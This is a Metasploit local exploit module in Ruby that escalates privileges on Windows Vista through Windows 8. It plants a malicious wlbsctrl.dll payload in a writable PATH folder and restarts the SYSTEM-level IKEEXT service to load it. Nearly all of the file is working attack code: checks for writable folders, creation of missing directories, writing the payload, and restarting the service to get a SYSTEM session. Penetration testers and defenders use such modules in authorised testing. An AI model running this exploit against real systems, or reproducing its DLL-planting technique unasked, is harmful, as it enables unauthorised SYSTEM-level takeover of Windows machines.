##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Accounts

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
        'Description' => %q{
          This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
          (IKEEXT) service which runs as SYSTEM, and starts automatically in default
          installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload.
        },
        'References' => [
          ['URL', 'https://www.htbridge.com/advisory/HTB23108'],
          ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
        ],
        'DisclosureDate' => '2012-10-09',
        'License' => MSF_LICENSE,
        'Author' => [
          'Ben Campbell'
        ],
        'Platform' => [ 'win'],
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'SessionTypes' => [ "meterpreter" ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 5,
          'ReverseConnectRetries' => 255
        },
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_mkdir
            ]
          }
        }
      )
    )

    register_options([
      OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
    ])
    @service_name = 'IKEEXT'
    @load_lib_search_path = [
      '%SystemRoot%\\System32',
      '%SystemRoot%\\System',
      '%SystemRoot%'
    ]
    @non_existant_dirs = []
  end

  def check
    if !service_exists?(@service_name)
      return Exploit::CheckCode::Safe
    end

    srv_info = service_info(@service_name)

    vprint_status(srv_info.to_s)

    case START_TYPE[srv_info[:starttype]]
    when 'Disabled'
      vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
      return Exploit::CheckCode::Safe
    when 'Manual'
      vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
      return Exploit::CheckCode::Safe
    when 'Auto'
      vprint_good("Service is set to Automatically start...")
    end

    if check_search_path
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Appears
  end

  def check_search_path
    dll = 'wlbsctrl.dll'

    @load_lib_search_path.each do |path|
      dll_path = "#{expand_path(path)}\\#{dll}"

      if file_exist?(dll_path)
        print_warning("DLL already exists at #{dll_path}...")
        return true
      end
    end

    return false
  end

  def check_system_path
    print_status("Checking %PATH% folders for write access...")
    result	= registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')

    if result.nil?
      print_error("Unable to retrieve %PATH% from registry.")
      return
    end

    paths = result.split(';')
    paths.append(@load_lib_search_path).flatten!.uniq!

    paths.each do |p|
      path = expand_path(p)
      if exist?(path)
        if check_write_access(path)
          return path
        end
      else
        # User may be able to create the path...
        print_status("Path #{path} does not exist...")
        @non_existant_dirs << path
      end
    end

    return nil
  end

  def check_write_access(path)
    perm = check_dir_perms(path, @token)
    if perm and perm.include?('W')
      print_good("Write permissions in #{path} - #{perm}")
      return true
    elsif perm
      vprint_status ("Permissions for #{path} - #{perm}")
    else
      vprint_status ("No permissions for #{path}")
    end

    return false
  end

  def check_dirs
    print_status("Attempting to create a non-existant PATH dir to use.")
    @non_existant_dirs.each do |directory|
      begin
        client.fs.dir.mkdir(directory)
        if exist?(directory)
          register_file_for_cleanup(directory)
          return directory
        end
      rescue	Rex::Post::Meterpreter::RequestError => e
        vprint_status("Unable to create dir: #{directory} - #{e}")
      end
    end

    return nil
  end

  def check_session_arch
    if sysinfo['Architecture'] == ARCH_X64
      if payload_instance.arch.first == ARCH_X86
        fail_with(Failure::BadConfig, "Wrong Payload Architecture")
      end
    else
      if payload_instance.arch.first == ARCH_X64
        fail_with(Failure::BadConfig, "Wrong Payload Architecture")
      end
    end
  end

  def exploit
    check_session_arch

    begin
      @token = get_imperstoken
    rescue Rex::Post::Meterpreter::RequestError
      vprint_error("Error while using get_imperstoken: #{e}")
    end

    fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token

    if is_system?
      fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
    end

    print_status("Checking service exists...")
    if !service_exists?(@service_name)
      fail_with(Failure::NoTarget, "The service doesn't exist.")
    end

    if is_uac_enabled?
      print_warning("UAC is enabled, may get false negatives on writable folders.")
    end

    if datastore['DIR'].empty?
      # If DLL already exists in system folders, we dont want to overwrite by accident
      if check_search_path
        fail_with(Failure::NotVulnerable, "DLL already exists in system folders.")
      end

      file_path = check_system_path
      file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs

      if file_path.nil?
        fail_with(Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
      end
    else
      # Use manually selected Dir
      file_path = datastore['DIR']
    end

    @dll_file_path = "#{file_path}\\wlbsctrl.dll"

    service_information = service_info(@service_name)

    # Check architecture
    dll = generate_payload_dll

    #
    # Drop the malicious executable into the path
    #
    print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
    begin
      write_file(@dll_file_path, dll)
      register_file_for_cleanup(@dll_file_path)
    rescue Rex::Post::Meterpreter::RequestError => e
      # Can't write the file, can't go on
      fail_with(Failure::Unknown, e.message)
    end

    #
    # Run the service, let the Windows API do the rest
    #
    print_status("Launching service #{@service_name}...")
    if service_restart(@service_name)
      print_status("Service started...")
    else
      service_information = service_info(@service_name)
      if service_information[:starttype] == START_TYPE_AUTO
        if job_id
          print_status("Unable to start service, handler running waiting for a reboot...")
          while (true)
            break if session_created?

            select(nil, nil, nil, 1)
          end
        else
          fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
        end
      else
        fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
      end
    end
  end
end
